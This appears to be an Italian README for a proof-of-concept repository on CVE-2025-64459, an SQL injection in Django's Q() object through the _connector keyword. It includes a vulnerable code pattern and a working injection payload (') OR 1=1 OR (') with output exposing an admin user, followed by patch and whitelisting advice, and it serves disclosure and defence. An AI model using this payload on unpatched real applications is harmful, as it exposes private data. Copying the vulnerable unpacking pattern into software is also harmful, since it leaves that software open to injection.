
Vulnerabilità: SQL Injection tramite unpacking degli argomenti keyword di QuerySet e Q(). CVE ID: CVE-2025-64459 Gravità: Critica (CVSS 9.1) Versioni Affette: Django 5.1 < 5.1.14, 4.2 < 4.2.26, e 5.2 < 5.2.8. Ricercatore: Cyberstan (University of Warwick)
Vulnerabilità: SQL Injection tramite spacchettamento degli argomenti keyword di QuerySet e Q().
CVE ID: CVE-2025-64459
Scoperto da: Me (Cyberstan)
Data di divulgazione: 5 Novembre 2025
Questo repository contiene una Prova di Concetto (PoC) containerizzata con Docker che dimostra una vulnerabilità critica di SQL Injection nell'ORM di Django.
La vulnerabilità risiede nel modo in cui l'oggetto Q gestisce gli argomenti keyword durante l'istanziazione. Nello specifico, l'attributo interno _connector non viene adeguatamente sanificato quando viene passato tramite spacchettamento del dizionario (ad esempio, ). Ciò consente a un attaccante remoto di iniettare logica SQL arbitraria nella clausola di una query del database, abilitando , e .
Q(**user_input)WHERELa vulnerabilità risiede in django.db.models.sql.where.WhereNode. Il metodo as_sql, responsabile della compilazione della clausola SQL WHERE, utilizza una formattazione di stringa non sicura per inserire il connettore della query (AND/OR).
Mentre il connettore di solito ha come predefinito "AND" o "OR", Django consente di sovrascriverlo tramite l'argomento keyword _connector nel costruttore dell'oggetto Q.
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# The self.connector attribute is injected directly without validation
conn = ' %s ' % self.connector
# ...
La vulnerabilità viene attivata quando gli sviluppatori utilizzano lo spacchettamento del dizionario per costruire filtri a partire dall'input dell'utente — un pattern comune nelle API di ricerca.
Pattern di Codice Vulnerabile:
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- VULNERABLE POINT
results = User.objects.filter(query)
Se un attaccante include _connector come chiave nel proprio input, può manipolare la struttura SQL.
Questa PoC utilizza Docker per garantire un ambiente consistente e isolato contenente la versione vulnerabile di Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Eseguire il seguente comando per costruire l'ambiente e lanciare lo script di attacco:
docker-compose up --build
Il container eseguirà uno script Python (poc.py) che simula un endpoint applicativo vulnerabile.
alice (standard) e root (admin)._connector malevolo.Output di Exploit Riuscito:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Aggiornare Django all'ultima versione di sicurezza immediatamente.
pip install Django==5.1.14 (o versione pertinente)La patch introduce una validazione rigorosa in WhereNode, assicurando che connector sia sempre uguale a AND o OR.
Se non è possibile aggiornare immediatamente, verificare l'uso di Q(**kwargs) o filter(**kwargs) nel proprio codice. Assicurarsi che il dizionario passato a questi metodi non contenga mai chiavi controllate direttamente dall'utente.
Pattern Sicuro:
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Now safe to unpack
User.objects.filter(**clean_filters)
Questo repository è solo per scopi educativi e di ricerca sulla sicurezza.
Il codice fornito crea un ambiente vulnerabile per dimostrare uno specifico difetto di sicurezza. Non dovrebbe mai essere eseguito in un ambiente di produzione. L'autore (Cyberstan) non è responsabile per qualsiasi uso improprio di queste informazioni. Testare questo exploit contro sistemi senza autorizzazione esplicita è illegale.